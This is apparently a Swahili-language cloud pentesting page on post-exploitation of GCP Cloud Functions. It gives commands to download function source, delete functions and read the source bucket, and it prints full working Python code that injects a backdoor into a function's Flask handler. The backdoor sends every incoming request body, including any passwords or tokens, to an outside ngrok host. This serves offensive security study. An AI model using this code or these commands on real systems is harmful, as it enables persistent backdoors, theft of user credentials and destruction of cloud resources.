GCP - Cloud Functions Post Exploitation

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Cloud Functions

Pata taarifa kuhusu Cloud Functions katika:

GCP - Cloud Functions Enum

cloudfunctions.functions.sourceCodeGet

Kwa ruhusa hii unaweza kupata URL iliyotiwa saini ili uweze kupakua msimbo wa chanzo wa Cloud Function:

curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

cloudfunctions.functions.delete

Ruhusa ya cloudfunctions.functions.delete inamruhusu mtambulisho kufuta kabisa Cloud Function, ikijumuisha msimbo wake, usanidi, triggers, na uhusiano wake na service accounts.

gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet

Code Exfiltration through the bucket

Ruhusa za storage.objects.get na storage.objects.list zinaruhusu kuorodhesha na kusoma objects ndani ya bucket, na katika kesi ya Cloud Functions hili ni muhimu hasa kwa sababu kila function huhifadhi source code yake katika Google bucket inayosimamiwa kiotomatiki, na jina lake linafuata muundo gcf-sources-<PROJECT_NUMBER>-<REGION>

Steal Cloud Function Requests

Ikiwa Cloud Function inasimamia taarifa nyeti ambazo watumiaji wanazituma (kwa mfano passwords au tokens), ukiwa na privileges za kutosha unaweza modify the source code of the function and exfiltrate taarifa hizi.

Zaidi ya hayo, Cloud Functions zinazoendesha python zinatumia flask kuonyesha web server; ikiwa kwa njia yoyote utapata code injection vulnerability ndani ya flaks process (a SSTI vulnerability for example), inawezekana override the function handler itakayopokea HTTP requests kwa ajili ya malicious function ambayo inaweza exfiltrate the request kabla ya kuipitisha kwa handler halali.

Kwa mfano code hii inatekeleza shambulio:

import functions_framework


# Some python handler code
@functions_framework.http
def hello_http(request, last=False, error=""):
"""HTTP Cloud Function.
Args:
request (flask.Request): The request object.
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
Returns:
The response text, or any set of values that can be turned into a
Response object using `make_response`
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
"""

if not last:
return injection()
else:
if error:
return error
else:
return "Hello World!"


# Attacker code to inject
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py

new_function = """
def exfiltrate(request):
try:
from urllib import request as urllib_request
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
urllib_request.urlopen(req, timeout=0.1)
except Exception as e:
if not "read operation timed out" in str(e):
return str(e)

return ""

def new_http_view_func_wrapper(function, request):
def view_func(path):
try:
error = exfiltrate(request)
return function(request._get_current_object(), last=True, error=error)
except Exception as e:
return str(e)

return view_func
"""

def injection():
global new_function
try:
from flask import current_app as app
import flask
import os
import importlib
import sys

if os.access('/tmp', os.W_OK):
new_function_path = "/tmp/function.py"
with open(new_function_path, "w") as f:
f.write(new_function)
os.chmod(new_function_path, 0o777)

if not os.path.exists('/tmp/function.py'):
return "/tmp/function.py doesn't exists"

# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path

# Get the modules representations
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
module_handler = importlib.util.module_from_spec(spec_handler)

spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
module_backdoor = importlib.util.module_from_spec(spec_backdoor)

# Load the modules inside the app context
with app.app_context():
spec_handler.loader.exec_module(module_handler)
spec_backdoor.loader.exec_module(module_backdoor)

# make the cloud funtion use as handler the new function
prev_handler = getattr(module_handler, handler_fname)
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
return "Injection completed!"

except Exception as e:
return str(e)

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